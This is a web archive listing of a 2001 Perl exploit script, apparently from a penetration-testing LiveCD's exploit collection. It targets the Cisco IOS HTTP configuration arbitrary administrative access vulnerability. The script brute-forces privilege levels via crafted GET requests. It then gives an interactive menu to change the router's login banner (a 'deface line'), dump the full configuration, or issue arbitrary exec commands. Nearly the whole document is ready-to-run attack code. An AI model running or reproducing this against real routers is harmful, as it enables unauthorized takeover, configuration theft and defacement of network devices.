home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / ios.pl < prev    next >
Perl Script  |  2005-02-12  |  2KB  |  69 lines

  1. #!/usr/bin/perl
  2. #
  3. # Exploit for Cisco IOS HTTP Configuration Arbitrary Administrative
  4. # Access Vulnerability - Found: 06-27-01 - Bugtraq ID: 2936
  5. # Written by hypoclear on 07-03-01
  6. #
  7. # This vulnerability seems to be a hot topic, even though I thought
  8. # it was lame.  Because of that and since I seem to write a lot of 
  9. # Cisco exploits, I figured why not write one for this...
  10. #
  11. # usage: ./ios.pl <host>
  12. #
  13. # hypoclear - hypoclear@jungle.net - http://hypoclear.cjb.net
  14. # This and all of my programs fall under my disclaimer, which
  15. # can be found at: http://hypoclear.cjb.net/hypodisclaim.txt
  16.  
  17. use IO::Socket; 
  18.  
  19. die "\nusage: $0 <host>\n\n" unless @ARGV > 0;
  20. $num = 16;
  21.  
  22. while ($num <100)
  23.  { sender("GET /level/$num/exec/- HTTP/1.0\n\n");
  24.    $webRecv =~ s/\n//g;
  25.    if ($webRecv =~ /200 ok/)
  26.     { while(1)
  27.         { print "\n$AGRV[0] is Vulnerable.  Try an attack:\n";
  28.           print "1: Banner change\n";
  29.           print "2: List vty 0 4 acl info\n";
  30.           print "3: Other\n";
  31.           print "Enter option (^C quits): ";
  32.           $attack = <STDIN>; chomp($attack);
  33.  
  34.           if    ($attack == 1)
  35.            { print "\nEnter deface line: ";
  36.              $attack = <STDIN>; chomp($attack);
  37.              sender("GET /level/$num/exec/-/configure/-/banner/motd/$attack HTTP/1.0\n\n");
  38.            }
  39.           elsif ($attack == 2)
  40.            { sender("GET /level/$num/exec/show%20conf HTTP/1.0\n\n"); 
  41.              print "$webRecvFull";
  42.            }
  43.           elsif ($attack == 3) 
  44.            { print "\nEnter attack URL: ";
  45.              $attack = <STDIN>; chomp($attack);
  46.              sender("GET /$attack HTTP/1.0\n\n");
  47.              print "$webRecvFull";
  48.            }
  49.          }
  50.        }
  51.        $webRecv = ""; $num++;
  52.      }
  53. die "Not vulnerable...\n\n";
  54.  
  55.  
  56. sub sender
  57.   { $sendsock = IO::Socket::INET -> new(Proto     => 'tcp',
  58.                                         PeerAddr  => $ARGV[0],
  59.                                         PeerPort  => 80,
  60.                                         Type      => SOCK_STREAM,
  61.                                         Timeout   => 5);
  62.         unless($sendsock){die "Can't connect to $ARGV[0]"}
  63.    $sendsock->autoflush(1);
  64.  
  65.    $sendsock -> send($_[0]);
  66.    while(<$sendsock>){$webRecv .= $_} $webRecvFull = $webRecv;
  67.    close $sendsock;
  68.   }
  69.